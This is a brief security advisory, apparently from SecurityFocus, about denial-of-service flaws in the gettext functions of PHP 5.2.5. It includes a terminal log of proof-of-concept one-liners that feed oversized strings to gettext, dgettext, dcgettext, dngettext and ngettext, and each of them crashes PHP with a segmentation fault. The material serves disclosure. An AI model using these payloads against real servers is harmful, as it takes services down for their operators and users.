source: https://www.securityfocus.com/bid/26428/info PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input. Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed. PHP 5.2.5 is vulnerable; other versions may also be affected. Proof of concept example : root@unsafebox:/# uname -a Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux root@unsafebox:/# php -v PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);' Erreur de segmentation (core dumped) root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");' Erreur de segmentation (core dumped)